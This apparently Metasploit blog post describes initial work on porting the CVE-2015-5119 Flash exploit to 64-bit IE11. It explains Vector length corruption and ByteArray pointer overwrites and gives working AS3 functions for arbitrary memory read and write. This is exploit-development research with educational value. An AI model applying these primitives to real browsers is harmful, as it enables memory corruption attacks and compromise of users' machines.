Some weeks ago, on More Flash Exploits in the Framework, we introduced the flash_exploiter library, which is used by Metasploit to quickly add new Flash exploit modules. If you read that blog entry, then you already know that flash_exploiter only supports 32-bit browsers (renderers). In this blog post, we will demonstrate initial steps in adding IE11 64-bit support to CVE-2015-5119 , which is one of the leaked Hacking Team vulnerabilities. Specifically, this post will target Windows 8.1 / IE 11 (64 bits) with Flash 15.0.0.189, so of course, the mitigations introduced by Flash 18.0.0.209 do not apply here.

The flash_exploiter library abuses two AS3 classes in order to achieve exploitation: Vector. and ByteArray. Let's start by reviewing what can be done with these two objects in a 64-bit environment.

Vector.

Vectors, specifically Vector.<uint>, have been widely abused on Flash exploits. This is because of how Vectors save their data, which is a ListData struct. It looks like this:

    template<class STORAGE, uint32_t slop>  
    struct ListData  
    {  
        uint32_t    len;            // Invariant: Must *never* exceed kListMaxLength  
        MMgc::GC*   _gc;  
        STORAGE     entries[1];     // Lying: Really holds capacity()  

As we have long known, overwriting the "len" field allows an exploiter to achieve full memory read/write in a 32-bit process. However, this is not true with a 64-bit process. Since the length will still be 32-bit, only 4GB of memory after the Vector's data can be read and or written. Still, 4GB is still a lot of data to play with!

ByteArray

In order to achieve arbitrary memory read/write, a ByteArray can be really helpful within a 64-bit process. First, we need to review the layout of the ByteArray class:

    class ByteArray : public DataInput,  
                      public DataOutput  
    {  
  
    public:  
  
        friend class ByteArrayTask;  
        friend class ByteArrayObject;  
        friend class ByteArraySetLengthTask;  
        friend class ByteArraySwapBufferTask;  
        friend class ByteArrayCompareAndSwapLengthTask;  
        friend class ByteArrayClearTask;  
        class Buffer : public FixedHeapRCObject  
        {  
        public:  
            virtual void destroy();  
            virtual ~Buffer();  
            uint8_t* array;  
            uint32_t capacity;  
            uint32_t length;  
        };  

The interesting fields for exploitation are "array", "capacity" and "length". The "array" field points to the data buffer, the "capacity" stores the total space available in the data buffer, and the "length" field stores the used length. Note that length should be always less or equal than capacity. To achieve arbitrary memory read/write in a 64-bit process, the goal is to "massage" the memory in a way which a ByteArray object "metadata" is stored near (within 4GB after) a vector whose length is being corrupted.

We can then use the corrupted vector to find the ByteArray object and modify its "array" to point to an arbitrary location. Once overwritten, we can read or write the "capacity" bytes from the "array" pointer.

Assuming we have:

  1. a Vector.<uint> ("uv") with a corrupted length,
  2. a ByteArray ("ba") whose object is reachable from "uv",
  3. and the offset ("ba_pos") necessary to modify the ByteArray metadata from "uv"

The following AS3 code can be used to accomplish arbitrary memory read/write:

private var uv:Vector.<uint>  
private var ba_pos:uint  
private var ba:ByteArray  
  
  
private function set_ba_array(ptr_lo:uint, ptr_hi:uint):void {  
  uv[ba_pos] = ptr_lo  
  uv[ba_pos + 1] = ptr_hi  
}  
  
  
private function ba_read(addr_lo:uint, addr_hi:uint):uint {  
  set_ba_array(addr_lo, addr_hi)  
  ba.position = 0  
  return ba.readUnsignedInt()  
}  
  
  
private function ba_write(addr_lo:uint, addr_hi:uint, val:uint):void {  
  set_ba_array(addr_lo, addr_hi)  
  ba.position = 0  
  ba.writeUnsignedInt(val)  
}  

So far so good! With this strategy, we can start to exploit IE Metro, using the corrupted "uv" and "ba" to leak memory addresses:

That's it for this first step in exploiting 64-bit browsers with Flash CVE-2015-5119. If you are interested in following the continuing progress of 64-bit Flash, please follow the github repository jvazquez-r7/CVE-2015-5119 · GitHub It will be updated with next steps!